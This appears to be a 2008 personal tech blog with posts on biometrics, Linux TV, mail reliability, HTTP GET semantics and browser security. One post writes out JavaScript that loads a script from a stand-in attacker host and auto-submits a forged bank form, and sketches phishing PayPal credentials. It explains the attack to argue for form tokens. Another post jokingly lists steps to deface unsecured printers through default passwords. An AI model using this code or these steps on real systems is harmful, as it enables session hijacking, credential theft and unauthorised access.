BAZOMBO: a discursive miscellany of topics

Issues in authentication systems

Friday, November 14 2008

I have my own issues with biometric authentication systems, but this is not one I had foreseen.

To Whom it May concern: It has come to the attention of Recognition Systems that some people have a particular concern about using our hand scanners which relates to their religious beliefs. The concern revolves around the detection or placement of what is described in the Scriptures as “the mark of the Beast.”

Read the whole thing.

no comments

Digital TV on Linux with a Pinnacle USB stick

Sunday, November 02 2008

My laptop is now running Intrepid Ibex, and in a moment of curiosity, I decided to try my Pinnacle nano stick.

It works fine with VLC (but not with xine, Totem, mplayer or Kaffeine). I have to use the house aerial, because signal strength just isn’t good enough with the little one that came with it. Still, it’s pretty neat. As a result, I can now get HD television via Freeview.

There is the odd rendering glitch. This laptop is lacking in CPU grunt and signal strength is not good so it’s hard to say where the fault lies without more detailed investigation than I have time for right now. I also noticed that it worked much better with Compiz turned off.

Here is a channels.conf file for the Wellington area which I created. You can open it in VLC and channels will appear in the playlist.

no comments

Mail is not reliable

Thursday, October 23 2008

I would like to get something off my chest.

SMTP is an asynchronous message queueing system.

It is not a reliable asynchronous message queueing system, however you define “reliable”.

Therefore, you should not use it in any step of a process that needs to be reliable.

I think the ICT industry’s PR and marketing with respect to mail and internet access has way outrun its capability, which leads to trouble when clients believe the hype.

Note: the word “asynchronous” did not really contribute much of use in the previous sentences, but I really like using it.

no comments

I do not think that means what you think it means

Tuesday, October 21 2008

There has been some kerfuffle in the past day or two about the National Library of New Zealand crawling New Zealand websites. Their crawler doesn’t honour robots.txt except by prior arrangement. (They have their reasons, but let’s leave that for now).

This has caused some angst for people who do things with GET. Here is an edited snippet from the NZNOG list:

A:The uncertainty principal begins to apply – by them crawling entire sites they may begin to interact with the content on the sites inadvertently. For example there can be links to flag content as inappropriate. We use robots.txt to prevent crawlers from hitting this kind of link as well as indexing our APIs (which return XML | JSON) and are no use to a crawler (but which they seem to love indexing).

B:Seeing as HTTP requires GET to be idempotent, and not take any action other than retrieval, crawlers won’t “interact” with well-designed websites if by “interact” you mean “change stuff”.

A: As far the GET requests to links such as flagging content being idempotent, no one has said that they aren’t – in the context of section 9.1.2 of the RFC, idempotent means that multiple identical requests have no greater side effect than the original request.

A has the right of it as far as idempotency goes. “Idempotent” is one of those words that is so frequently misunderstood that it would be better to paraphrase it.

But B is spot on about GET being for retrieval only. S 9.1.1 of RFC 2616 says:

Implementors should be aware that the software represents the user in their interactions over the Internet, and should be careful to allow the user to be aware of any actions they might take which may have an unexpected significance to themselves or others.

In particular, the convention has been established that the GET and HEAD methods SHOULD NOT have the significance of taking an action other than retrieval. These methods ought to be considered “safe”. This allows user agents to represent other methods, such as POST, PUT and DELETE, in a special way, so that the user is made aware of the fact that a possibly unsafe action is being requested.

Naturally, it is not possible to ensure that the server does not generate side-effects as a result of performing a GET request; in fact, some dynamic resources consider that a feature. The important distinction here is that the user did not request the side-effects, so therefore cannot be held accountable for them.

In any event, given the number of broken or malicious agents out there that ignore robots.txt for far worse reasons than the National Library of New Zealand’s harvester, it’s probably still not smart for GET to do anything other than retrieve a resource.

1 comment

Things to do for bored children at home

Wednesday, September 24 2008

1. Go to your networked printer’s administration page.
2. Identify some useful phrases.
3. Check the manual for the default password.
4. Google for unsecured printers on the internet.
5. Change their status message to something amusing.

NOTE: this is naughty and wrong. Do not do this. Unless it’s your parents’ printer.

(Interestingly, these things mostly seem to be at universities. I remember when I worked at a university, it was nigh impossible to forbid people to put unapproved hardware on the network. And as an admin there said to me, the purpose of the firewall was not to protect students from the world out there, but to save to the rest of the world from our students.)

no comments

Naughtiness in three easy steps.

Wednesday, August 20 2008

First, insert your code into a page from a.example.com. XSS via SQL injection is probably the right way.

var sc = document.createElement('script');
sc.setAttribute('type','text/javascript');
sc.setAttribute('src','http://b.example.com/naughty.js');
document.getElementsByTagName("head")[0].appendChild(sc);

Second, insert the code of your choice into the DOM from http://b.example.com/naughty.js. That’s a nice-to-have; you could have put this in the first script:

var badform = document.createElement('FORM');
document.body.appendChild(badform);
// ... add appropriate fields to badform here
badform.action="http://tastybank.example.com";
badform.method = "POST"; // note that existing cookies for tastybank in this session will be sent
var f = function () {badform.submit(); return false};
f(); // we could make this an event handler on one or more DOM elements so the user really does it to themselves

Third, um, er, PROFIT.

But we don’t have to go as far as POSTing to another site. For example, suppose on inspecting a user’s history we notice they visited their PayPal account earlier. Why not redirect to a fake PayPal screen, and ask them to log in again? Quite a large proportion of users will hand over their credentials. You can harvest them and then redirect to a real PayPal screen. The possibilities are endless.

Or you can just write a Flash applet with cute kittens and do anything you want from there—I hear the Flash sandbox is kind of lax, and how else will we order Hell Pizza?.

If you own TastyBank (or PayPal) the right thing to do is put signed unique tokens in all your forms and reject any forms that don’t have a valid token. Because there are more shitty PHP forum apps out there on popular sites than we will ever be able to track down and fix.

no comments

Protecting your goodies on the web is hard

Tuesday, August 19 2008

Update: for commenter Rob, the presentation that sparked this post centred on a demonstration of beef.

At work the other day an ex-employee who specialises in security gave us a presentation which could be summarised thus: if you want a safe, normal web-browsing experience, you are doomed. Your browser will be compromised, your secret details stolen, and your PC turned into a zombie. This is not merely possible, but likely, and ultimately inevitable.

The slightly longer summary could be turned into bullet points like this:

• Traditionally, security focussed on protecting servers, and assumed that clients were not desirable targets.
• This isn’t true. Your PC is a desirable target:
  • You use your PC to do things of interest (like online banking)
  • Your PC can be used to attack other PCs.
• Your browser runs code (JavaScript) from untrusted sources.
• Browsers carefully run this code in a “sandbox”, with no access to your computer’s disk or to memory outside the browser, in the belief that this will protect your PC from malicious code. This won’t work:
  • First, your browser can do interesting things like make naughty requests to hack into other PCs.
  • Second, there are plenty of things that you do care about in your brower’s memory (like your online banking session) which are totally accessible from within the sandbox  can be taken advantage of.
• Many sites (wrongly) allow users to inject Javascript into pages other people can see. That Javascript can seize control of your browser when you visit such a site. (This is called “cross-site scripting”).
• It is no use expecting sites you visit to protect you. Even when the owners are told about cross-site scripting problems, they often can’t be bothered fixing them. Among them are plenty of high-profile sites which you might well visit.
• That injected Javascript can:
  • “phone home” to a master server;
  • upload any data accessible from within the sandbox;
  • make naughty requests of other computers;
  • download further instructions from the master.
• There are already automated tools out there to do all this.
• Conclusion: any time you run a browser with Javascript on, and you visit a site with injected Javascript, your browser is no longer under your control. It will cough up details of any existing secure sessions and make requests elsewhere on behalf of its new controller. YOU ARE PWNED.

This is… disappointing. Much of the fun and even some of the utility of the modern web relies on the execution of Javascript. Is there any alternative to turning off Javascript?

There are some.

1. Use Firefox with the NoScript extension. This is probably ok for people who have the time and skill to evaluate scripts and decide for themselves whether they are safe to run.

2. Whenever you use a site to do secret stuff, close all browser sessions first. Then open a fresh one. As soon as you have finished what you are doing, close your browser again. This is a painful, error-prone practise to keep up; a stop-gap measure.

3. Use Prism, and only Prism, to run things that you care about. Prism is a standalone browser based on Firefox but with no menus, no location bar, and no tool bar. When you launch a Prism-hosted application, it will run in its own browser process, unconnected to any other browser sessions. So you install Prism and configure a launcher for your online banking, a launcher for your webmail, a launcher for your sharebroker, and so on. Your session can’t be hijacked unless an attacker has compromised the actual server hosting your application.

5 comments

BUILD FAILED

Thursday, August 14 2008

Ant documentation:

There are three predefined formatters – one prints the test results in XML format, the other emits plain text.

no comments

Believing what people tell you

Thursday, August 14 2008

We never had a ZX Spectrum at home. After the ZX81, we got an Amstrad CPC 464. But still, those Spectrums were very popular, and I knew people who had them.

Amazingly, there are quite a few still out there serving web pages right now….

(And more seriously, there are a lot of Tomcat servers directly on the Internet. Tasty, vulnerable Tomcat servers.)

no comments

Forthcoming improvements to the Ruminator

Sunday, August 03 2008

I have been experimenting with graphing Ruminator data, so that one can see trends a la the Google Zeitgeist.

On Friday Matt At Work sent around a link to a nice Canvas-based graph widget, and this was the kick in the arse I needed to get going. I have visions of being able to graph word counts over time, but also to make any given day’s data available as a histogram, and so on.

There are some real UI challenges here. Not every word you can think of appears in the news, but my corpus already has about 40,000 words in it, and there are only going to be more in future. Lookup lists are out of the question. Finally, a use case where AJAX is really justified—I’ve long admired Zoomin’s search box, and it looks like just the ticket for this kind of situation.

I’m still only part way through, because I have the dreaded lurgy and my energy levels for weekend hacking are low. However I have also discovered the Ajax Autocompleter widget from Scriptaculous, and got that working. I hope to have a page people can play with soon.

no comments

---